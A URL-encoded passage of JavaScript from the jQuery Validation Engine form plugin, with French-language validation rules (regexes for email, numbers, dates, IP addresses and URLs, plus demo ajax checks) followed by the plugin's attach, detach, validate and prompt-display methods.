%20%20%20%20%20//%20Shamelessly%20lifted%20from%20Scott%20Gonzalez%20via%20the%20Bassistance%20Validation%20plugin%20http%3A//projects.scottsplayground.com/email_address_validation/%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%21%23%5C%24%25%26%27%5C*%5C+%5C-%5C/%3D%5C%3F%5C%5E_%60%7B%5C%7C%7D%7E%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29+%28%5C.%28%5Ba-z%5D%7C%5Cd%7C%5B%21%23%5C%24%25%26%27%5C*%5C+%5C-%5C/%3D%5C%3F%5C%5E_%60%7B%5C%7C%7D%7E%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29+%29*%29%7C%28%28%5Cx22%29%28%28%28%28%5Cx20%7C%5Cx09%29*%28%5Cx0d%5Cx0a%29%29%3F%28%5Cx20%7C%5Cx09%29+%29%3F%28%28%5B%5Cx01-%5Cx08%5Cx0b%5Cx0c%5Cx0e-%5Cx1f%5Cx7f%5D%7C%5Cx21%7C%5B%5Cx23-%5Cx5b%5D%7C%5B%5Cx5d-%5Cx7e%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%5C%5C%28%5B%5Cx01-%5Cx09%5Cx0b%5Cx0c%5Cx0d-%5Cx7f%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%29*%28%28%28%5Cx20%7C%5Cx09%29*%28%5Cx0d%5Cx0a%29%29%3F%28%5Cx20%7C%5Cx09%29+%29%3F%28%5Cx22%29%29%29@%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%29+%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%3F%24/i%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Adresse%20email%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22integer%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B%5C-%5C+%5D%3F%5Cd+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Integer%20invalid%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22number%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20Number%2C%20including%20positive%2C%20negative%2C%20and%20floating%20decimal.%20credit%3A%20orefalo%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B%5C-%5C+%5D%3F%28%28%28%5B0-9%5D%7B1%2C3%7D%29%28%5B%2C%5D%5B0-9%5D%7B3%7D%29*%29%7C%28%5B0-9%5D+%29%29%3F%28%5B%5C.%5D%28%5B0-9%5D+%29%29%3F%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Nombre%20flottant%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22date%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Date%20invalide%2C%20format%20YYYY-MM-DD%20requis%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ipv4%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%09%22regex%22%3A%20/%5E%28%28%28%5B01%5D%3F%5B0-9%5D%7B1%2C2%7D%29%7C%282%5B0-4%5D%5B0-9%5D%29%7C%2825%5B0-5%5D%29%29%5B.%5D%29%7B3%7D%28%28%5B0-1%5D%3F%5B0-9%5D%7B1%2C2%7D%29%7C%282%5B0-4%5D%5B0-9%5D%29%7C%2825%5B0-5%5D%29%29%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Adresse%20IP%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%28https%3F%7Cftp%29%3A%5C/%5C/%28%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%29*@%29%3F%28%28%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%5C.%28%5Cd%7C%5B1-9%5D%5Cd%7C1%5Cd%5Cd%7C2%5B0-4%5D%5Cd%7C25%5B0-5%5D%29%29%7C%28%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5Cd%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%29+%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29*%28%5Ba-z%5D%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%29%29%5C.%3F%29%28%3A%5Cd*%29%3F%29%28%5C/%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29+%28%5C/%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29*%29*%29%3F%29%3F%28%5C%3F%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29%7C%5B%5CuE000-%5CuF8FF%5D%7C%5C/%7C%5C%3F%29*%29%3F%28%5C%23%28%28%28%5Ba-z%5D%7C%5Cd%7C-%7C%5C.%7C_%7C%7E%7C%5B%5Cu00A0-%5CuD7FF%5CuF900-%5CuFDCF%5CuFDF0-%5CuFFEF%5D%29%7C%28%25%5B%5Cda-f%5D%7B2%7D%29%7C%5B%21%5C%24%26%27%5C%28%5C%29%5C*%5C+%2C%3B%3D%5D%7C%3A%7C@%29%7C%5C/%7C%5C%3F%29*%29%3F%24/i%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20URL%20invalide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyNumberSp%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B0-9%5C%20%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Seuls%20les%20chiffres%20sont%20accept%E9s%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyLetterSp%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5Ba-zA-Z%5Cu00C0-%5Cu00D6%5Cu00D9-%5Cu00F6%5Cu00F9-%5Cu00FD%5C%20%5C%27%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Seules%20les%20lettres%20sont%20accept%E9es%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22onlyLetterNumber%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22regex%22%3A%20/%5E%5B0-9a-zA-Z%5Cu00C0-%5Cu00D6%5Cu00D9-%5Cu00F6%5Cu00F9-%5Cu00FD%5D+%24/%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Aucun%20caract%E8re%20sp%E9cial%20n%27est%20accept%E9%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%09%09%09%09//%20---%20CUSTOM%20RULES%20--%20Those%20are%20specific%20to%20the%20demos%2C%20they%20can%20be%20removed%20or%20changed%20to%20your%20likings%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ajaxUserCall%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%22ajaxValidateFieldUser%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22extraData%22%3A%20%22name%3Deric%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextLoad%22%3A%20%22*%20Chargement%2C%20veuillez%20attendre%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Ce%20nom%20est%20d%E9j%E0%20pris%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22ajaxNameCall%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22url%22%3A%20%22ajaxValidateFieldName%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22*%20Ce%20nom%20est%20d%E9j%E0%20pris%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextOk%22%3A%20%22*Ce%20nom%20est%20disponible%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertTextLoad%22%3A%20%22*%20Chargement%2C%20veuillez%20attendre%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22validate2fields%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22alertText%22%3A%20%22Veuillez%20taper%20le%20mot%20HELLO%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%3B%0A%20%20%20%20%24.validationEngineLanguage.newLang%28%29%3B%0A%7D%29%28jQuery%29%3B%0A%3C/script%3E%0A%3Cscript%3E%0A%20%28function%28%24%29%20%7B%0A%0A%09%22use%20strict%22%3B%0A%0A%09var%20methods%20%3D%20%7B%0A%0A%09%09/**%0A%09%09*%20Kind%20of%20the%20constructor%2C%20called%20before%20any%20action%0A%09%09*%20@param%20%7BMap%7D%20user%20options%0A%09%09*/%0A%09%09init%3A%20function%28options%29%20%7B%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09if%20%28%21form.data%28%27jqv%27%29%20%7C%7C%20form.data%28%27jqv%27%29%20%3D%3D%20null%20%29%20%7B%0A%09%09%09%09options%20%3D%20methods._saveOptions%28form%2C%20options%29%3B%0A%09%09%09%09//%20bind%20all%20formError%20elements%20to%20close%20on%20click%0A%09%09%09%09%24%28document%29.on%28%22click%22%2C%20%22.formError%22%2C%20function%28%29%20%7B%0A%09%09%09%09%09%24%28this%29.fadeOut%28150%2C%20function%28%29%20%7B%0A%09%09%09%09%09%09//%20remove%20prompt%20once%20invisible%0A%09%09%09%09%09%09%24%28this%29.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%09%09%24%28this%29.remove%28%29%3B%0A%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%7D%29%3B%0A%09%09%09%7D%0A%09%09%09return%20this%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Attachs%20jQuery.validationEngine%20to%20form.submit%20and%20field.blur%20events%0A%09%09*%20Takes%20an%20optional%20params%3A%20a%20list%20of%20options%0A%09%09*%20ie.%20jQuery%28%22%23formID1%22%29.validationEngine%28%27attach%27%2C%20%7BpromptPosition%20%3A%20%22centerRight%22%7D%29%3B%0A%09%09*/%0A%09%09attach%3A%20function%28userOptions%29%20%7B%0A%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09var%20options%3B%0A%0A%09%09%09if%28userOptions%29%0A%09%09%09%09options%20%3D%20methods._saveOptions%28form%2C%20userOptions%29%3B%0A%09%09%09else%0A%09%09%09%09options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09options.validateAttribute%20%3D%20%28form.find%28%22%5Bdata-validation-engine*%3Dvalidate%5D%22%29.length%29%20%3F%20%22data-validation-engine%22%20%3A%20%22class%22%3B%0A%09%09%09if%20%28options.binded%29%20%7B%0A%0A%09%09%09%09//%20delegate%20fields%0A%09%09%09%09form.on%28options.validationEventTrigger%2C%20%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%3Anot%28%5Btype%3Dcheckbox%5D%29%3Anot%28%5Btype%3Dradio%5D%29%3Anot%28.datepicker%29%22%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%09form.on%28%22click%22%2C%20%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dcheckbox%5D%2C%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dradio%5D%22%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%09form.on%28options.validationEventTrigger%2C%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Bclass*%3Ddatepicker%5D%22%2C%20%7B%22delay%22%3A%20300%7D%2C%20methods._onFieldEvent%29%3B%0A%09%09%09%7D%0A%09%09%09if%20%28options.autoPositionUpdate%29%20%7B%0A%09%09%09%09%24%28window%29.bind%28%22resize%22%2C%20%7B%0A%09%09%09%09%09%22noAnimation%22%3A%20true%2C%0A%09%09%09%09%09%22formElem%22%3A%20form%0A%09%09%09%09%7D%2C%20methods.updatePromptsPosition%29%3B%0A%09%09%09%7D%0A%09%09%09form.on%28%22click%22%2C%22a%5Bdata-validation-engine-skip%5D%2C%20a%5Bclass*%3D%27validate-skip%27%5D%2C%20button%5Bdata-validation-engine-skip%5D%2C%20button%5Bclass*%3D%27validate-skip%27%5D%2C%20input%5Bdata-validation-engine-skip%5D%2C%20input%5Bclass*%3D%27validate-skip%27%5D%22%2C%20methods._submitButtonClick%29%3B%0A%09%09%09form.removeData%28%27jqv_submitButton%27%29%3B%0A%0A%09%09%09//%20bind%20form.submit%0A%09%09%09form.on%28%22submit%22%2C%20methods._onSubmitEvent%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Unregisters%20any%20bindings%20that%20may%20point%20to%20jQuery.validaitonEngine%0A%09%09*/%0A%09%09detach%3A%20function%28%29%20%7B%0A%0A%09%09%09var%20form%20%3D%20this%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09//%20unbind%20fields%0A%09%09%09form.find%28%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%22%29.not%28%22%5Btype%3Dcheckbox%5D%22%29.off%28options.validationEventTrigger%2C%20methods._onFieldEvent%29%3B%0A%09%09%09form.find%28%22%5B%22+options.validateAttribute+%22*%3Dvalidate%5D%5Btype%3Dcheckbox%5D%2C%5Bclass*%3Dvalidate%5D%5Btype%3Dradio%5D%22%29.off%28%22click%22%2C%20methods._onFieldEvent%29%3B%0A%0A%09%09%09//%20unbind%20form.submit%0A%09%09%09form.off%28%22submit%22%2C%20methods._onSubmitEvent%29%3B%0A%09%09%09form.removeData%28%27jqv%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%09%09%09form.off%28%22click%22%2C%20%22a%5Bdata-validation-engine-skip%5D%2C%20a%5Bclass*%3D%27validate-skip%27%5D%2C%20button%5Bdata-validation-engine-skip%5D%2C%20button%5Bclass*%3D%27validate-skip%27%5D%2C%20input%5Bdata-validation-engine-skip%5D%2C%20input%5Bclass*%3D%27validate-skip%27%5D%22%2C%20methods._submitButtonClick%29%3B%0A%09%09%09form.removeData%28%27jqv_submitButton%27%29%3B%0A%0A%09%09%09if%20%28options.autoPositionUpdate%29%0A%09%09%09%09%24%28window%29.off%28%22resize%22%2C%20methods.updatePromptsPosition%29%3B%0A%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20either%20a%20form%20or%20a%20list%20of%20fields%2C%20shows%20prompts%20accordingly.%0A%09%09*%20Note%3A%20There%20is%20no%20ajax%20form%20validation%20with%20this%20method%2C%20only%20field%20ajax%20validation%20are%20evaluated%0A%09%09*%0A%09%09*%20@return%20true%20if%20the%20form%20validates%2C%20false%20if%20it%20fails%0A%09%09*/%0A%09%09validate%3A%20function%28%29%20%7B%0A%09%09%09var%20element%20%3D%20%24%28this%29%3B%0A%09%09%09var%20valid%20%3D%20null%3B%0A%09%09%09%0A%09%09%09if%20%28element.is%28%22form%22%29%20%7C%7C%20element.hasClass%28%22validationEngineContainer%22%29%29%20%7B%0A%09%09%09%0A%09%09%09%09if%20%28element.hasClass%28%27validating%27%29%29%20%7B%0A%09%09%09%09%09//%20form%20is%20already%20validating.%0A%09%09%09%09%09//%20Should%20abort%20old%20validation%20and%20start%20new%20one.%20I%20don%27t%20know%20how%20to%20implement%20it.%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%20else%20%7B%09%09%09%09%0A%09%09%09%09%09element.addClass%28%27validating%27%29%3B%0A%09%09%09%09%09var%20options%20%3D%20element.data%28%27jqv%27%29%3B%0A%09%09%09%09%09var%20valid%20%3D%20methods._validateFields%28this%29%3B%0A%0A%09%09%09%09%09//%20If%20the%20form%20doesn%27t%20validate%2C%20clear%20the%20%27validating%27%20class%20before%20the%20user%20has%20a%20chance%20to%20submit%20again%0A%09%09%09%09%09setTimeout%28function%28%29%7B%0A%09%09%09%09%09%09element.removeClass%28%27validating%27%29%3B%0A%09%09%09%09%09%7D%2C%20100%29%3B%0A%09%09%09%09%09if%20%28valid%20%26%26%20options.onSuccess%29%20%7B%0A%09%09%09%09%09%09options.onSuccess%28%29%3B%0A%09%09%09%09%09%7D%20else%20if%20%28%21valid%20%26%26%20options.onFailure%29%20%7B%0A%09%09%09%09%09%09options.onFailure%28%29%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%20else%20if%20%28element.is%28%27form%27%29%20%7C%7C%20element.hasClass%28%27validationEngineContainer%27%29%29%20%7B%0A%09%09%09%09element.removeClass%28%27validating%27%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09//%20field%20validation%0A%09%09%09%09var%20form%20%3D%20element.closest%28%27form%2C%20.validationEngineContainer%27%29%2C%0A%09%09%09%09%09options%20%3D%20%28form.data%28%27jqv%27%29%29%20%3F%20form.data%28%27jqv%27%29%20%3A%20%24.validationEngine.defaults%2C%0A%09%09%09%09%09valid%20%3D%20methods._validateField%28element%2C%20options%29%3B%0A%0A%09%09%09%09if%20%28valid%20%26%26%20options.onFieldSuccess%29%0A%09%09%09%09%09options.onFieldSuccess%28%29%3B%0A%09%09%09%09else%20if%20%28options.onFieldFailure%20%26%26%20options.InvalidFields.length%20%3E%200%29%20%7B%0A%09%09%09%09%09options.onFieldFailure%28%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09if%28options.onValidationComplete%29%20%7B%0A%09%09%09%09//%20%21%21%20ensures%20that%20an%20undefined%20return%20is%20interpreted%20as%20return%20false%20but%20allows%20a%20onValidationComplete%28%29%20to%20possibly%20return%20true%20and%20have%20form%20continue%20processing%0A%09%09%09%09return%20%21%21options.onValidationComplete%28form%2C%20valid%29%3B%0A%09%09%09%7D%0A%09%09%09return%20valid%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20%20Redraw%20prompts%20position%2C%20useful%20when%20you%20change%20the%20DOM%20state%20when%20validating%0A%09%09*/%0A%09%09updatePromptsPosition%3A%20function%28event%29%20%7B%0A%0A%09%09%09if%20%28event%20%26%26%20this%20%3D%3D%20window%29%20%7B%0A%09%09%09%09var%20form%20%3D%20event.data.formElem%3B%0A%09%09%09%09var%20noAnimation%20%3D%20event.data.noAnimation%3B%0A%09%09%09%7D%0A%09%09%09else%0A%09%09%09%09var%20form%20%3D%20%24%28this.closest%28%27form%2C%20.validationEngineContainer%27%29%29%3B%0A%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09//%20No%20option%2C%20take%20default%20one%0A%09%09%09form.find%28%27%5B%27+options.validateAttribute+%27*%3Dvalidate%5D%27%29.not%28%22%3Adisabled%22%29.each%28function%28%29%7B%0A%09%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09%09if%20%28options.prettySelect%20%26%26%20field.is%28%22%3Ahidden%22%29%29%0A%09%09%09%09%20%20field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20field.attr%28%27id%27%29%20+%20options.useSuffix%29%3B%0A%09%09%09%09var%20prompt%20%3D%20methods._getPrompt%28field%29%3B%0A%09%09%09%09var%20promptText%20%3D%20%24%28prompt%29.find%28%22.formErrorContent%22%29.html%28%29%3B%0A%0A%09%09%09%09if%28prompt%29%0A%09%09%09%09%09methods._updatePrompt%28field%2C%20%24%28prompt%29%2C%20promptText%2C%20undefined%2C%20false%2C%20options%2C%20noAnimation%29%3B%0A%09%09%09%7D%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Displays%20a%20prompt%20on%20a%20element.%0A%09%09*%20Note%20that%20the%20element%20needs%20an%20id%21%0A%09%09*%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BString%7D%20type%20the%20type%20of%20bubble%3A%20%27pass%27%20%28green%29%2C%20%27load%27%20%28black%29%20anything%20else%20%28red%29%0A%09%09*%20@param%20%7BString%7D%20possible%20values%20topLeft%2C%20topRight%2C%20bottomLeft%2C%20centerRight%2C%20bottomRight%0A%09%09*/%0A%09%09showPrompt%3A%20function%28promptText%2C%20type%2C%20promptPosition%2C%20showArrow%29%20%7B%0A%09%09%09var%20form%20%3D%20this.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09//%20No%20option%2C%20take%20default%20one%0A%09%09%09if%28%21options%29%0A%09%09%09%09options%20%3D%20methods._saveOptions%28this%2C%20options%29%3B%0A%09%09%09if%28promptPosition%29%0A%09%09%09%09options.promptPosition%3DpromptPosition%3B%0A%09%09%09options.showArrow%20%3D%20showArrow%3D%3Dtrue%3B%0A%0A%09%09%09methods._showPrompt%28this%2C%20promptText%2C%20type%2C%20false%2C%20options%29%3B%0A%09%09%09return%20this%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Closes%20form%20error%20prompts%2C%20CAN%20be%20invidual%0A%09%09*/%0A%09%09hide%3A%20function%28%29%20%7B%0A%09%09%09%20var%20form%20%3D%20%24%28this%29.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09%20var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%20var%20fadeDuration%20%3D%20%28options%20%26%26%20options.fadeDuration%29%20%3F%20options.fadeDuration%20%3A%200.3%3B%0A%09%09%09%20var%20closingtag%3B%0A%09%09%09%20%0A%09%09%09%20if%28%24%28this%29.is%28%22form%22%29%20%7C%7C%20%24%28this%29.hasClass%28%22validationEngineContainer%22%29%29%20%7B%0A%09%09%09%09%20closingtag%20%3D%20%22parentForm%22+methods._getClassName%28%24%28this%29.attr%28%22id%22%29%29%3B%0A%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%20closingtag%20%3D%20methods._getClassName%28%24%28this%29.attr%28%22id%22%29%29%20+%22formError%22%3B%0A%09%09%09%20%7D%0A%09%09%09%20%24%28%27.%27+closingtag%29.fadeTo%28fadeDuration%2C%200.3%2C%20function%28%29%20%7B%0A%09%09%09%09%20%24%28this%29.parent%28%27.formErrorOuter%27%29.remove%28%29%3B%0A%09%09%09%09%20%24%28this%29.remove%28%29%3B%0A%09%09%09%20%7D%29%3B%0A%09%09%09%20return%20this%3B%0A%09%09%20%7D%2C%0A%09%09%20/**%0A%09%09%20*%20Closes%20all%20error%20prompts%20on%20the%20page%0A%09%09%20*/%0A%09%09%20hideAll%3A%20function%28%29%20%7B%0A%0A%09%09%09%20var%20form%20%3D%20this%3B%0A%09%09%09%20var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%20var%20duration%20%3D%20options%20%3F%20options.fadeDuration%3A300%3B%0A%09%09%09%20%24%28%27.formError%27%29.fadeTo%28duration%2C%20300%2C%20function%28%29%20%7B%0A%09%09%09%09%20%24%28this%29.parent%28%27.formErrorOu